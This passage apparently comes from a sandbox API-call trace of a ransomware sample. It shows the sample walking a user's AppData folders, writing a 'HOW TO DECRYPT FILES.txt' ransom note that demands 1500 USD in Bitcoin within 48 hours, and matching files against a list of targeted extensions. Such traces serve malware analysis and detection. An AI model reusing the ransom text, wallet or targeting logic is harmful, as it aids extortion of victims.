HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd" [0086.933] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned 105 [0086.933] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.934] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.934] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.934] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.934] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.934] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.934] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.934] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700073, dwReserved1=0x6e, cFileName="swd", cAlternateFileName="")) returned 0 [0086.934] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.934] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0086.934] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0086.935] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0086.935] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.935] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0086.935] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0086.935] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x640041, dwReserved1=0x62006f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0086.935] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0086.935] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0086.935] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*.*") returned="*.*" [0086.935] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft" [0086.935] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned 56 [0086.935] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004c, dwReserved1=0x67006e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0086.937] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.937] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x670000, cFileName="..", cAlternateFileName="")) returned 1 [0086.937] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.937] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.937] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0086.937] lstrcmpA (lpString1=".", lpString2="CryptnetUrlCache") returned -1 [0086.937] lstrcmpA (lpString1="..", lpString2="CryptnetUrlCache") returned -1 [0086.937] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*.*") returned="*.*" [0086.937] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\", lpString2="CryptnetUrlCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache" [0086.937] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned 73 [0086.937] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.937] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.937] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.938] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.938] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.938] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0086.938] lstrcmpA (lpString1=".", lpString2="Content") returned -1 [0086.938] lstrcmpA (lpString1="..", lpString2="Content") returned -1 [0086.938] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*") returned="*.*" [0086.938] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpString2="Content" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content" [0086.938] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 81 [0086.938] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0086.938] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.938] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.939] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.939] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.939] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0086.939] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.939] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 1 [0086.939] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 1 [0086.939] lstrcmpiA (lpString1="", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned -1 [0086.939] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*.*") returned="*.*" [0086.939] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.939] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.939] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.939] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0xffffffff [0086.939] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.941] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.941] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.943] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.943] CloseHandle (hObject=0x98) returned 1 [0086.943] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" [0086.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ems") returned 0 [0086.943] lstrlenA (lpString="*.ems") returned 5 [0086.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.db") returned 0 [0086.943] lstrlenA (lpString="*.db") returned 4 [0086.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dbf") returned 0 [0086.943] lstrlenA (lpString="*.dbf") returned 5 [0086.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.myox") returned 0 [0086.944] lstrlenA (lpString="*.myox") returned 6 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.myo") returned 0 [0086.944] lstrlenA (lpString="*.myo") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbw") returned 0 [0086.944] lstrlenA (lpString="*.qbw") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbb") returned 0 [0086.944] lstrlenA (lpString="*.qbb") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbm") returned 0 [0086.944] lstrlenA (lpString="*.qbm") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbo") returned 0 [0086.944] lstrlenA (lpString="*.qbo") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbx") returned 0 [0086.944] lstrlenA (lpString="*.qbx") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qba") returned 0 [0086.944] lstrlenA (lpString="*.qba") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qby") returned 0 [0086.944] lstrlenA (lpString="*.qby") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qbj") returned 0 [0086.944] lstrlenA (lpString="*.qbj") returned 5 [0086.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ofx") returned 0 [0086.945] lstrlenA (lpString="*.ofx") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.qif") returned 0 [0086.945] lstrlenA (lpString="*.qif") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mye") returned 0 [0086.945] lstrlenA (lpString="*.mye") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mbox") returned 0 [0086.945] lstrlenA (lpString="*.mbox") returned 6 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.eml") returned 0 [0086.945] lstrlenA (lpString="*.eml") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pst") returned 0 [0086.945] lstrlenA (lpString="*.pst") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ost") returned 0 [0086.945] lstrlenA (lpString="*.ost") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.idx") returned 0 [0086.945] lstrlenA (lpString="*.idx") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dbx") returned 0 [0086.945] lstrlenA (lpString="*.dbx") returned 5 [0086.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.sql") returned 0 [0086.945] lstrlenA (lpString="*.sql") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mdb") returned 0 [0086.946] lstrlenA (lpString="*.mdb") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.fdb") returned 0 [0086.946] lstrlenA (lpString="*.fdb") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.wab") returned 0 [0086.946] lstrlenA (lpString="*.wab") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dat") returned 0 [0086.946] lstrlenA (lpString="*.dat") returned 5 [0086.946] PathMatchSpecA 